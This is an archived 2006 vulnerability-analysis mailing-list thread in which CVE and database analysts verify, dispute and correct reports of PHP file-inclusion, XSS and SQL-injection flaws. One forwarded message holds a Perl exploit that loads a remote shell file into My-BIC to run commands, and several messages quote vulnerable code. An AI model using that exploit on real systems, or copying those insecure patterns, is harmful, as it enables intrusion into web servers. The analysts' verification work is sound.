From coley at mitre.org Thu Nov 2 19:07:56 2006 From: coley at mitre.org (Steven M. Christey) Date: Thu, 2 Nov 2006 19:07:56 -0500 (EST) Subject: [VIM] Source VERIFY and patch for gepi RFI Message-ID: <200611030007.kA307ui1000609@faron.mitre.org> Reference: http://www.milw0rm.com/exploits/2692 Researcher: $um$id Version 1.4.0 has this in gestion/savebackup.php: include($_GET['filename']); with no cleansing of $_GET beforehand, so that's a pretty clear issue. Looking at version 1.4.4, a diff shows a lot of changes being made to savebackup.php, including session checking (not shown below) and whitelisting of possibly valid filenames (!!!!): $dirname = getSettingValue("backup_directory"); ... $handle=opendir('../backup/' . $dirname); $tab_file = array(); ... [populate $tab_file with files in the directory] ... $m = 0; foreach($tab_file as $value) { if ($m == $_GET['fileid']) { $filepath = "../backup/".$dirname."/".$value; $filename = $value; } $m++; } ... include($filepath); For those who keep track, gepi-1.4.4 was created Oct 16, but the vulnerability disclosure was apparently Oct 31. I didn't look at versions between 1.4.0 and 1.4.4. - Steve From coley at mitre.org Thu Nov 2 20:58:20 2006 From: coley at mitre.org (Steven M. Christey) Date: Thu, 2 Nov 2006 20:58:20 -0500 (EST) Subject: [VIM] CVE dispute - phpMyConferences RFI Message-ID: <200611030158.kA31wKio002532@faron.mitre.org> Researcher: mfp.c Issue: phpMyConferences <= 8.0.2 Remote File Inclusion http://www.securityfocus.com/archive/1/archive/1/450140/100/0/threaded The referenced code: # if (!$gloaded_modules[$image_name]) # { # include($lvc_modules_dir.'/'.$module_name.'.module.php'); # $gloaded_modules[$module_name] = true; # } is missing some context, i.e.: function insert_cached_module($module_desc) { ... global $lvc_modules_dir; ... if (!$gloaded_modules[$module_name]) { include($lvc_modules_dir.'/'.$module_name.'.module.php'); Since this include is within a function definition, the claimed exploit (direct request to library.inc.php) should not work. I'm unclear on whether a global declaration for a variable within a function definition is sufficient to override initialization from things like GET requests, but at best, the direct request to library.inc.php appears erroneous. - Steve From jericho at attrition.org Fri Nov 3 20:43:02 2006 From: jericho at attrition.org (security curmudgeon) Date: Fri, 3 Nov 2006 20:43:02 -0500 (EST) Subject: [VIM] Zwahlen Online Shop Message-ID: Has anyone done analysis of this? Original disclosure: http://archives.neohapsis.com/archives/bugtraq/2006-10/0370.html article.htm cat Variable http://cve.mitre.org/cgi-bin/cvename.cgi?name=2006-5512 article.htm cat Variable http://secunia.com/advisories/22571/ http://cve.mitre.org/cgi-bin/cvename.cgi?name=2006-5534 http://www.frsirt.com/english/advisories/2006/4160 Each of these references index.htm and cat/Kat/id/no variables, but FrSIRT also cross refs to CVE-2006-5512 without referencing article.htm CVE-2006-5534 doesn't show provenance or include the usual disclaimer of the information coming from third party sources. From jericho at attrition.org Fri Nov 3 23:22:31 2006 From: jericho at attrition.org (security curmudgeon) Date: Fri, 3 Nov 2006 23:22:31 -0500 (EST) Subject: [VIM] FtpXQ Server Default Accounts Message-ID: CVE-2006-5569 http://datawizard.net/Purchase/purchase.htm The trial version FtpXQ server installs the two accounts. The "Installation Completed" screen reads: The FtpQX Server has been successfully installed. FtpXQ is setup with two sample users by default called 'test' and 'anonymous'. The password for the user ID 'test' is 'test'. The 'anonymous' ID is a special ID and does not require a password. WARNING: Please note that the 'test' user has READ and WRITE permissions on the C: drive by default, and the 'anonymous' user has READ access on the C: drive by default, so administrators must ensure that these IDs, passwords, and permissions are changed appropriately before running FtpXQ in a production or unprotected environment. These setting can be changed from FTP Options screen, on the User Settings and Security tabs. From heinbockel at mitre.org Mon Nov 6 17:01:47 2006 From: heinbockel at mitre.org (Heinbockel, Bill) Date: Mon, 6 Nov 2006 17:01:47 -0500 Subject: [VIM] DISPUTE: PHP file inclusion in Ariadne 2.4.1 Message-ID: <224FBC6B814DBD4E9B9E293BE33A10DC014EFFC6@IMCSRV5.MITRE.ORG> Researcher: ajann BUGTRAQ:20061106 Ariadne <= 2.4.1 Multiple Remote File Include Vulnerabilities(New) http://www.securityfocus.com/archive/1/archive/1/450709/100/0/threaded XF:ariadne-storeconfig-file-include(30018) BID:20916 ************************* Examining Ariadne 2.4.1, the reported issues are not possible if the installation instructions are followed... The files reported are: /ftp/loader.php <== assumed, this matches the posted code /lib/includes/loader.cmd.php The "loader.php" files include: /ftp/loader.php /soap/loader.php /webdav/loader.php /www/loader.php Looking at any of the loader.php files, specifically /ftp/loader.php, though they all include /www/ariadne.inc: if (!@include("../www/ariadne.inc")) { chdir(substr($_SERVER['PHP_SELF'], 0, strrpos($_SERVER['PHP_SE include("../www/ariadne.inc"); } require($ariadne."/configs/ariadne.phtml"); require($ariadne."/configs/ftp/$configfile"); require($ariadne."/configs/store.phtml"); require($ariadne."/includes/loader.ftp.php"); require($ariadne."/configs/sessions.phtml"); require($ariadne."/stores/".$store_config["dbms"]."store.phtml"); require($ariadne."/nls/en"); require($ariadne."/modules/mod_mimemagic.php"); require($ariadne."/modules/mod_virusscan.php"); Looking in the www directory, there is a ariadne.inc-win and ariadne.inc-unix... >From the installation instructions referenced by the README and located in /docs/install.txt and install.win.rtf, we see that: 2) Move the www, lib and files directories to their proper place. Preferably you don't want the lib and files directories under the document root. e.g.: cd /usr/local/lib/ tar xvzf ~/ariadne.2.4.1.tgz cd /var/www ln -s /usr/local/lib/ariadne/www/ ariadne ... 6) Copy the file www/ariadne.inc-unix to www/ariadne.inc and edit it to reflect the includepath to the Ariadne lib directory. [in ariadne.inc*: $ariadne='/usr/local/lib/ariadne/lib';] So, if the installation instructions are followed, neither of the two issues exist since the file is either in (1) a not publicly accessible directory or (2) includes the www/ariadne.inc file before using the $ariadne variable. William Heinbockel Infosec Engineer The MITRE Corporation 202 Burlington Rd. MS S145 Bedford, MA 01730 heinbockel at mitre.org 781-271-2615 From heinbockel at mitre.org Mon Nov 6 17:17:56 2006 From: heinbockel at mitre.org (Heinbockel, Bill) Date: Mon, 6 Nov 2006 17:17:56 -0500 Subject: [VIM] DISPUTE: PHP file inclusion in Ariadne 2.4.1 Message-ID: <224FBC6B814DBD4E9B9E293BE33A10DC014EFFD1@IMCSRV5.MITRE.ORG> >-----Original Message----- >From: Heinbockel, Bill >Sent: Montag, 6. November 2006 17:02 >To: 'Vulnerability Information Managers' >Subject: DISPUTE: PHP file inclusion in Ariadne 2.4.1 > >Researcher: ajann >BUGTRAQ:20061106 Ariadne <= 2.4.1 Multiple Remote File Include >Vulnerabilities(New) >http://www.securityfocus.com/archive/1/archive/1/450709/100/0/threaded >XF:ariadne-storeconfig-file-include(30018) >BID:20916 > >************************* > >Examining Ariadne 2.4.1, the reported issues are not possible >if the installation instructions are followed... > ... > > if (!@include("../www/ariadne.inc")) { > chdir(substr($_SERVER['PHP_SELF'], 0, strrpos($_SERVER['PHP_SE > include("../www/ariadne.inc"); > } > require($ariadne."/configs/ariadne.phtml"); > require($ariadne."/configs/ftp/$configfile"); > require($ariadne."/configs/store.phtml"); > require($ariadne."/includes/loader.ftp.php"); > require($ariadne."/configs/sessions.phtml"); > require($ariadne."/stores/".$store_config["dbms"]."store.phtml"); Just to clarify on the rest of the claims: Additionally, the $configfile variable is defined previously in the file and $store_config["dbms"] is initialized in the configs/store.phtml file (and should not be publicly accessible if the installation instructions are followed). Some of the phtml files are installed by the user following the instructions while others are taken care of by running the install/install.php script (again, listed as a step in the installation instructions). From coley at mitre.org Tue Nov 7 14:05:02 2006 From: coley at mitre.org (Steven M. Christey) Date: Tue, 7 Nov 2006 14:05:02 -0500 (EST) Subject: [VIM] Vendor ACK for iodine buffer overflow Message-ID: <200611071905.kA7J52ct025806@faron.mitre.org> http://code.kryo.se/iodine/CHANGELOG.txt 2006-11-05: 0.3.3 - Fixed possible buffer overflow (Found by poplix) - Steve From coley at mitre.org Tue Nov 7 15:52:51 2006 From: coley at mitre.org (Steven M. Christey) Date: Tue, 7 Nov 2006 15:52:51 -0500 (EST) Subject: [VIM] Minimizing error cascades in vulnerability information management Message-ID: <200611072052.kA7Kqp2Q027684@faron.mitre.org> had to send it to Bugtraq... ---- Most of the recent disclosures for a WebSphere XSS issue (CVE-2006-2431) mention the "faultfactor" element, including the NISCC report, the ProCheckUp announcement, and various vulnerability databases. However, ProCheckUp's announcement also shows the vulnerable output: i.e., "actor" not "factor". A web search quickly suggests that "faultactor" is, in fact, a valid SOAP element, whereas "faultfactor" is not. I'm only mentioning this to remind people how errors can cascade throughout vulnerability disclosure, and it's not just grep-and-gripe researchers who make blatant errors in remote file inclusion reports (yes, it's a challenge for us at CVE too.) Many security advisories demonstrate the Four-I's principle: they are either Incomplete, Inaccurate, Inconsistent, or Incomprehensible. Once these errors are made, one of the best defenses against repeating them is to "trust but verify," which is not always feasible due to limited time or resources. Another powerful defense is to identify important discrepancies, and seek to resolve them. In this case, a spelling discrepancy in the original ProCheckUp report triggered some followup research. Resolving discrepancies is one of the ongoing tasks of post-disclosure vulnerability analysis. Informative discrepancies are frequently related to attack vectors, bug types, affected versions, disclosure dates, and researcher credits. - Steve From theall at tenablesecurity.com Tue Nov 7 16:02:32 2006 From: theall at tenablesecurity.com (George A. Theall) Date: Tue, 07 Nov 2006 16:02:32 -0500 Subject: [VIM] Minimizing error cascades in vulnerability information management In-Reply-To: <200611072052.kA7Kqp2Q027684@faron.mitre.org> References: <200611072052.kA7Kqp2Q027684@faron.mitre.org> Message-ID: <4550F468.5040204@tenablesecurity.com> Steven M. Christey wrote: > Most of the recent disclosures for a WebSphere XSS issue > (CVE-2006-2431) mention the "faultfactor" element, including the NISCC > report, the ProCheckUp announcement, and various vulnerability > databases. > > However, ProCheckUp's announcement also shows the vulnerable output: > > > > i.e., "actor" not "factor". And while we're on the subject, I noticed that both SecurityFocus and Secunia claim incorrectly that the issue is resolved with Cumulative Fix 10 for the 5.1 series. [CVE doesn't mention that 5.1 is affected; it is.] The fix was meant to be included in that Fix but didn't actually make it until Cumulative Fix 12; ie, see: http://www-1.ibm.com/support/search.wss?rs=0&q=PK26181&apar=only I did verify that Cumulative Fix 12 did indeed correct the problem. George -- theall at tenablesecurity.com From coley at linus.mitre.org Tue Nov 7 16:10:36 2006 From: coley at linus.mitre.org (Steven M. Christey) Date: Tue, 7 Nov 2006 16:10:36 -0500 (EST) Subject: [VIM] Minimizing error cascades in vulnerability information management In-Reply-To: <4550F468.5040204@tenablesecurity.com> References: <200611072052.kA7Kqp2Q027684@faron.mitre.org> <4550F468.5040204@tenablesecurity.com> Message-ID: On Tue, 7 Nov 2006, George A. Theall wrote: > And while we're on the subject, I noticed that both SecurityFocus and > Secunia claim incorrectly that the issue is resolved with Cumulative Fix > 10 for the 5.1 series. [CVE doesn't mention that 5.1 is affected; it > is.] The fix was meant to be included in that Fix but didn't actually > make it until Cumulative Fix 12; ie, see: > > http://www-1.ibm.com/support/search.wss?rs=0&q=PK26181&apar=only > > I did verify that Cumulative Fix 12 did indeed correct the problem. Wow, we've all done a bangup job on this one, eh? Looks like IBM accidentally omitted this series of versions in their initial APAR. Thanks, fixed in CVE... - Steve From jericho at attrition.org Tue Nov 7 23:57:47 2006 From: jericho at attrition.org (security curmudgeon) Date: Tue, 7 Nov 2006 23:57:47 -0500 (EST) Subject: [VIM] SenseSites CommonSense CMS Message-ID: CVE-2006-3576 Looks like CVE got this from BID which would explain this error: CommonSense CMS Search.PHP Date Parameter SQL Injection Vulnerability http://www.securityfocus.com/bid/18893 Discussion doesn't mention the script, exploit is blank. BID frequently uses the odd caps on script names. http://www.sensesites.com/download.htm http://www.sensesites.com/download/CommonSense_CMS_5_0.tar.gz This file shows the script is 'search.php', not 'Search.PHP' From jericho at attrition.org Wed Nov 8 03:17:02 2006 From: jericho at attrition.org (security curmudgeon) Date: Wed, 8 Nov 2006 03:17:02 -0500 (EST) Subject: [VIM] MiniBill 2 RFI ack Message-ID: CVE 2006-4489 / OSVDB 28258 & 28259 http://www.ultrize.com/minibill/index.php [2006-09-05] - Get your security updates here! Okay, apparently there was some hallibaloo about MiniBill 1.2.2 (ipn.php & initPlugins.php) on securitytracker.com. Well, we've issued a fix for everyone who is concerned. Grab the latest, copy your config.php somewhere safe, and re-install that sucker! Thank you hackers for finding this, I'll be sure to be more vigilant as I continue coding! http://www.ultrize.com/minibill/index.php?page=changelog [2006-09-11 1.2.3] --------------------------------------------------------------------------- - Fixed security issue From coley at linus.mitre.org Wed Nov 8 14:35:12 2006 From: coley at linus.mitre.org (Steven M. Christey) Date: Wed, 8 Nov 2006 14:35:12 -0500 (EST) Subject: [VIM] SenseSites CommonSense CMS In-Reply-To: References: Message-ID: On Tue, 7 Nov 2006, security curmudgeon wrote: > > CVE-2006-3576 > > Looks like CVE got this from BID which would explain this error: > > CommonSense CMS Search.PHP Date Parameter SQL Injection Vulnerability Yes, I encourage copy-and-paste of important vectors, and apparently the junior analyst who did this wasn't sufficiently aware that BID's have this interesting capitalization quirk. Thanks, Steve From coley at mitre.org Wed Nov 8 15:08:03 2006 From: coley at mitre.org (Steven M. Christey) Date: Wed, 8 Nov 2006 15:08:03 -0500 (EST) Subject: [VIM] CVE source verify: The Web Drivers Forum SQL injection Message-ID: <200611082008.kA8K83Xl021246@faron.mitre.org> Researcher: Bl0od3r Ref: http://www.milw0rm.com/exploits/2722 Downloaded the specified file on 20061108. Product does not appear to have a version. Most files are dated 20060318, including message_details.php. from message_details.php: Apparently an RFI was reported in http://www.milw0rm.com/exploits/2723, which seems to be the only raw source. BID:20932 and XF:smartor-album-file-include(30015) are other references. However, the milw0rm URL has since become blank. I emailed str0ke about it, and he recalled removing it because it didn't look legit after some investigation. He'll get back to me, and possibly VIM, with more info. - Steve From theall at tenablesecurity.com Wed Nov 8 17:13:20 2006 From: theall at tenablesecurity.com (George A. Theall) Date: Wed, 08 Nov 2006 17:13:20 -0500 Subject: [VIM] mxBB Smartor Album - possible milw0rm dispute In-Reply-To: <200611082031.kA8KVssH021630@faron.mitre.org> References: <200611082031.kA8KVssH021630@faron.mitre.org> Message-ID: <45525680.30704@tenablesecurity.com> Steven M. Christey wrote: > Apparently an RFI was reported in > http://www.milw0rm.com/exploits/2723, which seems to be the only raw > source. BID:20932 and XF:smartor-album-file-include(30015) are other > references. However, the milw0rm URL has since become blank. I > emailed str0ke about it, and he recalled removing it because it didn't > look legit after some investigation. I set up Smartor Album 1.02 and mxBB 2.7.7 and, after looking at the code and playing with it a bit, I doubt the issue is valid. The manipulation of global variables that I had noticed in common.php only unsets them if register_globals is enabled; I didn't see any way for the supposedly affected module_root_path parameter to be manipulated by an attacker. Even trying Esser's trick of passing along numeric parameters to avoid unsetting the actual parameter didn't work -- the script dies with "Hacking attempt". George -- theall at tenablesecurity.com From coley at linus.mitre.org Wed Nov 8 17:44:00 2006 From: coley at linus.mitre.org (Steven M. Christey) Date: Wed, 8 Nov 2006 17:44:00 -0500 (EST) Subject: [VIM] Zwahlen Online Shop In-Reply-To: References: Message-ID: On Fri, 3 Nov 2006, security curmudgeon wrote: > Has anyone done analysis of this? Original disclosure: Now we have, see analysis below from one of our senior analysts. I don't have specific code extracts. > CVE-2006-5534 doesn't show provenance or include the usual disclaimer of > the information coming from third party sources. This was an accidental omission on our part. - Steve ====================================================== Name: CVE-2006-5512 Status: Candidate URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5512 Acknowledged: no Announced: 20061022 Flaw: XSS Reference: BUGTRAQ:20061022 XSS in Zwahlen Online Shop Reference: URL:http://www.securityfocus.com/archive/1/archive/1/449467/100/0/threaded Reference: MLIST:[VIM] 20061103 Zwahlen Online Shop Reference: URL:http://attrition.org/pipermail/vim/2006-November/001106.html Reference: BID:20682 Reference: URL:http://www.securityfocus.com/bid/20682 Reference: XF:zwahlen-article-xss(29753) Reference: URL:http://xforce.iss.net/xforce/xfdb/29753 Cross-site scripting (XSS) vulnerability in article.htm in Zwahlen Online Shop allows remote attackers to inject arbitrary web script or HTML via the cat parameter. Analysis: ACCURACY: Unable to determine version. BUGTRAQ:20061022 says "there is a XSS in Zwahlen's Online Shop. I can only test the free version, but i think, other versions may be vulnerable, too." This statement suggests this is a distributable product. Also, download sites can be found through web searches for "Zwahlen Online Shop," with zwahlen-informatik.ch apparently the primary site. ACCURACY: CVE (Power) verified on 20061026 that the researcher's exploit succeeds when using an essentially default installation of the product. ACCURACY: The download doesn't directly contain the article.htm and index.htm files. To produce these files after installation, it's apparently necessary to run FreeShop.exe, enter an e-mail address in "Shop owner," and then select "Shop generate." Apparently, the files are dynamically generated from a template that's built into the FreeShop.exe executable. However, this initial setup process apparently always produces a vulnerable article.htm file; no customization is necessary for the vulnerability to exist. ====================================================== Name: CVE-2006-5534 Status: Candidate URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5534 Acknowledged: no Announced: 20061024 Flaw: XSS Reference: MLIST:[VIM] 20061103 Zwahlen Online Shop Reference: URL:http://attrition.org/pipermail/vim/2006-November/001106.html Reference: FRSIRT:ADV-2006-4160 Reference: URL:http://www.frsirt.com/english/advisories/2006/4160 Reference: SECUNIA:22571 Reference: URL:http://secunia.com/advisories/22571 Multiple cross-site scripting (XSS) vulnerabilities in index.htm in Zwahlen Online Shop Freeware 5.2.2.50, and possibly earlier, allow remote attackers to inject arbitrary web script or HTML via the (1) cat, (2) Kat, (3) id, or (4) no parameters. NOTE: some of these details are obtained from third party information. Analysis: ACCURACY: Source inspection by CVE (Power) on 20061026 confirmed that these parameters are present, and reached a tentative conclusion that the XSS may be persistent XSS for "Shop settings" data. However, this was not verified. In other words, some, but not all, details come from FrSIRT and Secunia. ACCURACY: The download doesn't directly contain the article.htm and index.htm files. To produce these files after installation, it's apparently necessary to run FreeShop.exe, enter an e-mail address in "Shop owner," and then select "Shop generate." Apparently, the files are dynamically generated from a template that's built into the FreeShop.exe executable. The index.htm and article.htm files are separate and have substantial differences. From jericho at attrition.org Sat Nov 11 04:27:40 2006 From: jericho at attrition.org (security curmudgeon) Date: Sat, 11 Nov 2006 04:27:40 -0500 (EST) Subject: [VIM] Vendor ACK for iodine buffer overflow In-Reply-To: <200611071905.kA7J52ct025806@faron.mitre.org> References: <200611071905.kA7J52ct025806@faron.mitre.org> Message-ID: : http://code.kryo.se/iodine/CHANGELOG.txt : : 2006-11-05: 0.3.3 : - Fixed possible buffer overflow : (Found by poplix) Not so fast! CHANGES: 2006-11-08: 0.3.4 - Fixed handshake() buffer overflow (Found by poplix, Secunia: SA22674 / FrSIRT/ADV-2006-4333) This seems to address CVE-2006-5781 which is from BUGTRAQ:20061102 iodine client 0.3.2 buffer overflow. The 0.3.3 fix is for a different overflow it seems. From coley at mitre.org Tue Nov 14 15:50:47 2006 From: coley at mitre.org (Steven M. Christey) Date: Tue, 14 Nov 2006 15:50:47 -0500 (EST) Subject: [VIM] extra issues fixed by MS06-067 Message-ID: <200611142050.kAEKol3p019318@faron.mitre.org> from the FAQ for DirectAnimation ActiveX Controls Memory Corruption Vulnerabilities - CVE-2006-4446 and CVE-2006-4777: When this security bulletin was issued, had these vulnerabilities been publicly disclosed? Yes. These vulnerabilities have been publicly disclosed. They have been assigned Common Vulnerability and Exposure numbers CVE-2006-4446 and CVE-2006-4777. This security bulletin addresses the publicly disclosed vulnerabilities as well as additional issues discovered through internal investigations. CVE is using CVE-2006-5884 to track these "additional issues," which *might* be in Danim.dll and/or Lmrt.dll. - Steve From coley at mitre.org Tue Nov 14 16:52:13 2006 From: coley at mitre.org (Steven M. Christey) Date: Tue, 14 Nov 2006 16:52:13 -0500 (EST) Subject: [VIM] Source VERIFY - encapscms 0.3.6 RFI Message-ID: <200611142152.kAELqDLp020564@faron.mitre.org> Researcher: Firewall Ref: http://www.milw0rm.com/exploits/2750 The code that is quoted in the milw0rm post appears in core.php without any includes or static definitions of $root beforehand. - Steve From coley at mitre.org Tue Nov 14 19:09:50 2006 From: coley at mitre.org (Steven M. Christey) Date: Tue, 14 Nov 2006 19:09:50 -0500 (EST) Subject: [VIM] source verify of "Ban v0.1" SQL injection Message-ID: <200611150009.kAF09oZF022932@faron.mitre.org> Researcher: Francesco Laurita Reference: Re: Ban v0.1 (bannieres.php) File Include http://www.securityfocus.com/archive/1/archive/1/449955/100/200/threaded Source inspection by a senior CVE analyst says: The code has $res=mysql_query("SELECT * FROM bannieres WHERE id='$id'"); ... mysql_query("UPDATE bannieres SET affichage = affichage + 1 WHERE id='$id'");. Also, based on the download, the product name used by the researcher does not match the name shown within the product. Files in the download say "SCRIPT BANNIERES ... Jean-Christophe Ramos." However, a search on ComScripts.com associates the script with the name "ban0.1.", probably based on the name of the ZIP file. - Steve From jericho at attrition.org Thu Nov 16 21:40:28 2006 From: jericho at attrition.org (security curmudgeon) Date: Thu, 16 Nov 2006 21:40:28 -0500 (EST) Subject: [VIM] Apache version question/discrepancy? Message-ID: http://httpd.apache.org/security/vulnerabilities_13.html Fixed in Apache httpd 1.3.37 important: mod_rewrite off-by-one error CVE-2006-3747 Affects: 1.3.34, 1.3.33, 1.3.32, 1.3.31, 1.3.29, 1.3.28 http://archives.neohapsis.com/archives/fulldisclosure/2006-07/0674.html [Announcement] Apache HTTP Server 2.2.3 (2.0.59, 1.3.37) Released This version of Apache is principally a bug and security fix release. The following potential security flaws are addressed; CVE-2006-3747: An off-by-one flaw exists in the Rewrite module, mod_rewrite, as shipped with Apache 1.3 since 1.3.28, 2.0 since 2.0.46, and 2.2 since 2.2.0. http://archives.neohapsis.com/archives/bugtraq/2006-07/0514.html * Vulnerable Systems Apache 1.3.29/mod_rewrite http://archives.neohapsis.com/archives/bugtraq/2006-08/0398.html Any version of the Apache HTTP server: * 1.3 branch: >1.3.28 and <1.3.37 -- The web page suggests that the vulnerability is "fixed in 1.3.37" which would imply 1.3.35 and 1.3.36 are vulnerable, but the affected list does not specify that. The announcement posted to various lists seems to confirm the CVE analysis which says "since 1.3.28" but doesn't specify the version that fixes it. So, for clarity, are 1.3.35 and 1.3.36 affected by this issue? From mark at awe.com Fri Nov 17 04:11:32 2006 From: mark at awe.com (Mark J Cox) Date: Fri, 17 Nov 2006 09:11:32 +0000 (GMT) Subject: [VIM] Apache version question/discrepancy? In-Reply-To: Message-ID: > The web page suggests that the vulnerability is "fixed in 1.3.37" which > would imply 1.3.35 and 1.3.36 are vulnerable, but the affected list does > not specify that. They are vulnerable, it was a mistake in the vulnerability database which I've now fixed. The updated page will be live soon. Thanks for your report. -- Mark -- Mark J Cox | www.awe.com/mark From str0ke at milw0rm.com Fri Nov 17 13:42:26 2006 From: str0ke at milw0rm.com (str0ke) Date: Fri, 17 Nov 2006 12:42:26 -0600 Subject: [VIM] Fwd: My-BIC => 0.6.5 Remote File Include Vulnerability Exploit In-Reply-To: <20061116085951.8860.qmail@securityfocus.com> References: <20061116085951.8860.qmail@securityfocus.com> Message-ID: <814b9d50611171042q556ccc5ek17b7f27c80817ad1@mail.gmail.com> INC_PATH is a constant. if(!defined("SERVER_ROOT")){ define("SERVER_ROOT", "/Users/jimplush/Sites/Projects/mybic/"); } if(!defined("INC_PATH")){ define("INC_PATH", SERVER_ROOT); } /str0ke ---------- Forwarded message ---------- From: the_3dit0r at yahoo.com Date: 16 Nov 2006 08:59:51 -0000 Subject: My-BIC => 0.6.5 Remote File Include Vulnerability Exploit To: bugtraq at securityfocus.com #!/usr/bin/perl # My-BIC => 0.6.5 Remote File Include Vulnerability Exploit # Script.............. : My-BIC # Expl0iter.... : the_Edit0r # Location .......... : Iran # Class.............. : Remote # Original Advisory : http://Www.Xmors.com ( Pablic ) http://Www.Xmors.net (pirv8) # We ArE : Scorpiunix , KAMY4r , Sh3ll , SilliCONIC , Zer0.C0d3r # D3vil_B0y_ir , Tornado , DarkAngel , Behbood # 0.6.5 Remote File Include Vulnerability .\n"; print ". .\n"; print "...............................................................\n"; print ". .\n"; print ". Xmors NetWork Security TeaM .\n"; print ". Discovered By : the_Edit0r .\n"; print ". .\n"; print "...............................................................\n"; print ". .\n"; print ". Www.Xmors.coM (Pablic ) .\n"; print ". www.Xmors.neT ( Pirv8 ) .\n"; print "...............................................................\n"; print "\n"; print " I Love HacK & SecUrity \n"; print "\n\n"; my $kw3,$path,$shell,$conexiune,$cmd,$data ; if ((!$ARGV[0]) || (!$ARGV[1])) { &usage;exit(0);} $path = $ARGV[0]; chomp($path); $shell = $ARGV[1]; chomp($shell); $path = $path."mybic_server.php?INC_PATH="; sub usage(){ print "Usage : perl $0 host/path http://site.com/cmd.txt\n\n"; print "Example : perl $0 http://127.0.0.1 http://site.com/cmd.txt\n\n"; print 'Shell : '; } while () { print "[the_Edit0r]"; chomp($cmd=); if ($cmd eq "exit") { exit(0);} $kw3 = $path."?lan=".$shell."?&cmd=".$cmd; if ($cmd eq "") { print "Enter your command !\n"; } else { $data=get($kw3); print $data ; } } From smoore at securityglobal.net Fri Nov 17 13:47:57 2006 From: smoore at securityglobal.net (Stuart Moore) Date: Fri, 17 Nov 2006 13:47:57 -0500 Subject: [VIM] work system e-commerce? Message-ID: <455E03DD.7060308@securityglobal.net> Regarding http://www.milw0rm.com/exploits/2752 and Secunia SA22963, index.php first says: include ("include_includes.inc"); which says: include 'include_config.php'; which specifies $g_include. The 'install4.php' script supposedly writes 'include_config.php' based on 'include_config_replace.php'. So, on a properly configured system, this exploit path should not be valid. Stuart From str0ke at milw0rm.com Fri Nov 17 14:08:02 2006 From: str0ke at milw0rm.com (str0ke) Date: Fri, 17 Nov 2006 13:08:02 -0600 Subject: [VIM] work system e-commerce? In-Reply-To: <455E03DD.7060308@securityglobal.net> References: <455E03DD.7060308@securityglobal.net> Message-ID: <814b9d50611171108w2858e7e1odf3732bb40881d9e@mail.gmail.com> > Regarding http://www.milw0rm.com/exploits/2752 and Secunia SA22963, > > index.php first says: > > include ("include_includes.inc"); > > which says: > > include 'include_config.php'; > > which specifies $g_include. index.php contains. > include ("include_includes.inc"); include_includes.inc contains. > include 'include_config.php';. include_config.php contains. > which sets the variable gl_include but later down the road you will find global_register('GET','POST'); which pretty much makes this vulnerable and overwrites the variable above. 0) { for ($i = 0; $i < $num_args; $i++) { $method = strtoupper(func_get_arg($i)); if (($method != 'SESSION') && ($method != 'GET') && ($method != 'POST') && ($method != 'SERVER') && ($method != 'COOKIE') && ($method != 'ENV')) { die("The \"$method\" is invalid argument, The argument of global_register must be the following: GET, POST, SESSION, SERVER, COOKIE, or ENV"); } $varname = "_{$method}"; global ${$varname}; foreach (${$varname} as $key => $val) { global ${$key}; ${$key} = $val; } } }else{ die('You must specify at least one argument'); } } ?> /str0ke From coley at linus.mitre.org Fri Nov 17 14:15:36 2006 From: coley at linus.mitre.org (Steven M. Christey) Date: Fri, 17 Nov 2006 14:15:36 -0500 (EST) Subject: [VIM] work system e-commerce? In-Reply-To: <814b9d50611171108w2858e7e1odf3732bb40881d9e@mail.gmail.com> References: <455E03DD.7060308@securityglobal.net> <814b9d50611171108w2858e7e1odf3732bb40881d9e@mail.gmail.com> Message-ID: On Fri, 17 Nov 2006, str0ke wrote: > global ${$varname}; > foreach (${$varname} as $key => $val) { > global ${$key}; > ${$key} = $val; > } I refer to these as "dynamic variable evaluation" issues. We should see more of these as programmers implement their own equivalent of register_globals. See my Bugtraq post: "Dynamic Evaluation Vulnerabilities in PHP applications" http://seclists.org/bugtraq/2006/May/0051.html I have some example detection strings in there. So we have to investigate every preceding include/require to look for these kinds of issues. Eval injection would also be suspect. - Steve From smoore at securityglobal.net Fri Nov 17 16:27:29 2006 From: smoore at securityglobal.net (Stuart Moore) Date: Fri, 17 Nov 2006 16:27:29 -0500 Subject: [VIM] work system e-commerce? In-Reply-To: <814b9d50611171108w2858e7e1odf3732bb40881d9e@mail.gmail.com> References: <455E03DD.7060308@securityglobal.net> <814b9d50611171108w2858e7e1odf3732bb40881d9e@mail.gmail.com> Message-ID: <455E2941.4030501@securityglobal.net> You are right -- I didn't look far enough for that nasty function. Confirmed through testing, also. Stuart str0ke wrote: >> Regarding http://www.milw0rm.com/exploits/2752 and Secunia SA22963, >> >> index.php first says: >> >> include ("include_includes.inc"); >> >> which says: >> >> include 'include_config.php'; >> >> which specifies $g_include. > > index.php contains. > >> include ("include_includes.inc"); > > include_includes.inc contains. > >> include 'include_config.php';. > > include_config.php contains. > >> which sets the variable gl_include but later down the road you will >> find global_register('GET','POST'); which pretty much makes this >> vulnerable and overwrites the variable above. > > function global_register() { > $num_args = func_num_args(); > if ($num_args > 0) { > for ($i = 0; $i < $num_args; $i++) { > $method = strtoupper(func_get_arg($i)); > if (($method != 'SESSION') && ($method != 'GET') && ($method != > 'POST') && ($method != 'SERVER') && ($method != 'COOKIE') && ($method > != 'ENV')) { > die("The \"$method\" is invalid argument, The argument of > global_register must be the following: GET, POST, SESSION, SERVER, > COOKIE, or ENV"); } > $varname = "_{$method}"; > global ${$varname}; > foreach (${$varname} as $key => $val) { > global ${$key}; > ${$key} = $val; > } > } > }else{ > die('You must specify at least one argument'); > } > } > ?> > > /str0ke > From jericho at attrition.org Mon Nov 20 15:48:31 2006 From: jericho at attrition.org (security curmudgeon) Date: Mon, 20 Nov 2006 15:48:31 -0500 (EST) Subject: [VIM] NIST.org - XSS Hall of Shame (fwd) Message-ID: On the topic of site specific vulnerabilities.. this list is interesting. Not only the size of the list, but the fact that NIST is publishing it and acting as a watchdog of sorts. ---------- Forwarded message ---------- http://www.nist.org/nist_plugins/content/content.php?content.61 "The web domains below have all been identified as having XSS vulnerabilities. They are listed here as a public service to promote a prompt resolution to the problem. XSS hurts others, not the sites or companies listed here. If the problem has been fixed we will note it as such, if new vulnerabilities are found a new entry will be added. We do not indicate what page or module on the server is vulnerable and we do not include example code as we do not wish to encourage phishing attacks." From jericho at attrition.org Mon Nov 20 16:34:43 2006 From: jericho at attrition.org (security curmudgeon) Date: Mon, 20 Nov 2006 16:34:43 -0500 (EST) Subject: [VIM] The Week of Oracle Database Bugs (fwd) Message-ID: Last 